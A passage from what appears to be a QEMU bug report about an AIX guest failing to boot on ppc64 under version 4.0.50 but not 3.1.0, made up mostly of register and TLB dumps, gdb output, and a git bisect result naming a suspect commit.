0x00000000000000000000000000000000) +dl6 0E-6176 (raw 0x00000000000000000000000000000000) +dl7 0E-6176 (raw 0x00000000000000000000000000000000) +dl8 0E-6176 (raw 0x00000000000000000000000000000000) +dl9 0E-6176 (raw 0x00000000000000000000000000000000) +dl10 0E-6176 (raw 0x00000000000000000000000000000000) +dl11 0E-6176 (raw 0x00000000000000000000000000000000) +dl12 0E-6176 (raw 0x00000000000000000000000000000000) +dl13 0E-6176 (raw 0x00000000000000000000000000000000) +dl14 0E-6176 (raw 0x00000000000000000000000000000000) +dl15 0E-6176 (raw 0x00000000000000000000000000000000) +vs0 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs1 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs2 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs3 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs4 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs5 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs6 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs7 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int1 + 0x0 <repeats 16 times>}} +vs8 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs9 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs10 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs11 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs12 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs13 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs14 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs15 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs16 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs17 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs18 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs19 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs20 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs21 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs22 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs23 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs24 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs25 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs26 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs27 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs28 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs29 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs30 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs31 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs32 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs33 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs34 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs35 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs36 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs37 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs38 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs39 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs40 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs41 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs42 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs43 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs44 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs45 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs46 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs47 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs48 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs49 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs50 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs51 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs52 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs53 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs54 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs55 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs56 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs57 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs58 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs59 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs60 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs61 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs62 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +vs63 {uint128 = 0x00000000000000000000000000000000, v2_double = {0x0, 0x0}, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = { + 0x0 <repeats 16 times>}} +f32 0 (raw 0x0000000000000000) +f33 0 (raw 0x0000000000000000) +f34 0 (raw 0x0000000000000000) +f35 0 (raw 0x0000000000000000) +f36 0 (raw 0x0000000000000000) +f37 0 (raw 0x0000000000000000) +f38 0 (raw 0x0000000000000000) +f39 0 (raw 0x0000000000000000) +f40 0 (raw 0x0000000000000000) +f41 0 (raw 0x0000000000000000) +f42 0 (raw 0x0000000000000000) +f43 0 (raw 0x0000000000000000) +f44 0 (raw 0x0000000000000000) +f45 0 (raw 0x0000000000000000) +f46 0 (raw 0x0000000000000000) +f47 0 (raw 0x0000000000000000) +f48 0 (raw 0x0000000000000000) +f49 0 (raw 0x0000000000000000) +f50 0 (raw 0x0000000000000000) +f51 0 (raw 0x0000000000000000) +f52 0 (raw 0x0000000000000000) +f53 0 (raw 0x0000000000000000) +f54 0 (raw 0x0000000000000000) +f55 0 (raw 0x0000000000000000) +f56 0 (raw 0x0000000000000000) +f57 0 (raw 0x0000000000000000) +f58 0 (raw 0x0000000000000000) +f59 0 (raw 0x0000000000000000) +f60 0 (raw 0x0000000000000000) +f61 0 (raw 0x0000000000000000) +f62 0 (raw 0x0000000000000000) +f63 0 (raw 0x0000000000000000) + +(gdb) where +#0 0x000000000008f418 in ?? () +#1 0x0000000000234e38 in ?? () +#2 0x0000000000234e38 in ?? () +(gdb) x 0x000000000008f418 +0x8f418: 0x80061830 +(gdb) x/i 0x000000000008f418 +=> 0x8f418: lwz r0,6192(r6) +(gdb) +(gdb) x 0xf00000002ff47600 +0xf00000002ff47600: Cannot access memory at address 0xf00000002ff47600 +(gdb) +(gdb) x 0xf00000002ff48e30 (r6+0x1830) + 0xf00000002ff48e30: Cannot access memory at address 0xf00000002ff48e30 +(gdb) + +************************* + +Note again, this works under 3.1.0 + +--Ivan + +From qemu monitor : +(qemu) info tlb +info tlb +SLB ESID VSID +0 0x0000000008000000 0x0000000004002400 +3 0xf100050008000000 0x4000005000000400 +4 0xf100100008000000 0x4000010000000400 +5 0xf100080008000000 0x4000008000000400 +6 0xf100010008000000 0x4000001000000400 +7 0xf200800008000000 0x4000810000000400 +11 0xfffff00000000000 0x0000000012001080 +(qemu) info registers +info registers +NIP 000000000008f418 LR 0000000000234e38 CTR 0000000000256b20 XER 0000000020040010 CPU#0 +MSR 8000000000001032 HID0 0000000000000000 HF 8000000000000030 iidx 1 didx 1 +TB 00000002 11869414363 DECR 1608999296 +GPR00 0000000000000000 f1000816b0036890 00000000032b5d20 0000000003380000 +GPR04 0000000002dc3838 f1000816b0036cf0 f00000002ff47600 0000000000001007 +GPR08 0000000000001000 0000000000000000 0000000000000000 00000000424d2061 +GPR12 0000000003282600 00000000025933f0 0000000002743408 0000000003380000 +GPR16 f1000816b0036d00 0000000000036000 0000000002004324 f10008008012c000 +GPR20 0000000f10008008 0000000000000000 0000000002dc3708 f10008008012bff8 +GPR24 0000000000000000 00000000000034e0 0000000000000000 0000000000000001 +GPR28 0000000000000000 0000000002743408 0000000002079498 00000000025933f0 +CR 22422280 [ E E G E E E L - ] RES ffffffffffffffff +FPR00 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR04 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR08 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR12 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR16 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR20 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR24 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR28 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPSCR 0000000000000000 + SRR0 0000000000ad0088 SRR1 8000000000001032 PVR 00000000004e1200 VRSAVE 0000000000000000 +SPRG0 0000000003380000 SPRG1 f1000816b0036d00 SPRG2 0000000002e22280 SPRG3 0000000100000000 +SPRG4 0000000000000000 SPRG5 0000000000000000 SPRG6 0000000000000000 SPRG7 0000000000000000 +HSRR0 0000000000000000 HSRR1 0000000000000000 + CFAR 0000000000234e34 + LPCR 000000000403f008 + PTCR 0000000000000000 DAR f10008008012c000 DSISR 0000000040000000 + + +This is the result at the same breakpoint under 3.1.0 (note the difference in the TLB) (notably Segment Lookaside Buffer entry #1) + +(qemu) info tlb +info tlb +SLB ESID VSID +0 0x0000000008000000 0x0000000004002400 +1 0xf000000028000000 0x0000000802001080 +3 0xf100050008000000 0x4000005000000400 +4 0xf100100008000000 0x4000010000000400 +5 0xf100080008000000 0x4000008000000400 +6 0xf100010008000000 0x4000001000000400 +7 0xf200800008000000 0x4000810000000400 +11 0xfffff00000000000 0x000000001a3e5080 +12 0xfffff10000000000 0x0000000824012080 +13 0xfffff20000000000 0x0000000806003080 +19 0x0ffffffff8000000 0x0000000804002c80 +20 0xf100060008000000 0x4000006000000400 +21 0xf100000008000000 0x4000000000000400 +(qemu) info registers +info registers +NIP 000000000008f418 LR 0000000000234e38 CTR 0000000000256b20 XER 0000000020040008 CPU#0 +MSR 8000000000001032 HID0 0000000000000000 HF 8000000000000030 iidx 1 didx 1 +TB 00000003 14758239312 DECR 02912440 +GPR00 0000000000000000 f1000816b0036890 00000000032b5d20 0000000003380000 +GPR04 f100100a00000000 f1000816b0036cf0 f00000002ff47600 0000000000000017 +GPR08 0000000000001000 0000000000000000 0000000000000000 0000000000000000 +GPR12 f1000117d7fad000 f1000117d7faf800 f00000002ff47600 0000000003380000 +GPR16 f1000816b0036d00 0000000002004018 000000000000003d f1000800802de000 +GPR20 0000000f10008008 0000000000000000 f100100a10000000 0000000000000800 +GPR24 0000000000000000 00000000000034e0 f1000117d7faf000 0000000000000001 +GPR28 0000000000000000 f00000002ff47600 f1000117d7fb0800 f1000117d7faf800 +CR 22022480 [ E E - E E G L - ] RES ffffffffffffffff +FPR00 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR04 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR08 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR12 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR16 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR20 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR24 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPR28 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +FPSCR 0000000000000000 + SRR0 000000000031dec4 SRR1 8000000000009032 PVR 00000000004e1200 VRSAVE 0000000000000000 +SPRG0 0000000003380000 SPRG1 f1000816b0036d00 SPRG2 0000000003380ce8 SPRG3 0000000100000000 +SPRG4 0000000000000000 SPRG5 0000000000000000 SPRG6 0000000000000000 SPRG7 0000000000000000 +HSRR0 0000000000000000 HSRR1 0000000000000000 + CFAR 0000000000234e34 + LPCR 000000000001f008 + PTCR 0000000000000000 DAR f1000800802de000 DSISR 0000000042000000 + + +It might be a red herring... + +The AIX Boot procedure under 3.1.0 issues a + +LED{814} + +which it doesn't issue under 4.0.50 (so a different path is taken at some point by the AIX kernel) + +First I need to determine what AIX code 814 stands for (but it could be auxiliary) + +Before going into the ".dispatch+98" (0x8f418) - so something else must be different between 3.1.0 and 4.0.50... + +I'm probably going to have to "git bisect" this, but that's not going to be easy (the build in itself takes quite a while, although I could optimize it to just include the ppc64 TCG version). + +Apologies for anyone receiving notifications for this, but I'd really like this to work ! + +According to git bisect : + + git bisect bad +c24ba3d0a34f68ad2c6bf1a15bc43770005f6cc0 is the first bad commit +commit c24ba3d0a34f68ad2c6bf1a15bc43770005f6cc0 +Author: Laurent Vivier <email address hidden> +Date: Wed Dec 19 17:35:41 2018 +0100 + + spapr: Add H-Call H_HOME_NODE_ASSOCIATIVITY + + H_HOME_NODE_ASSOCIATIVITY H-Call returns the associativity domain + designation associated with the identifier input parameter + + This fixes 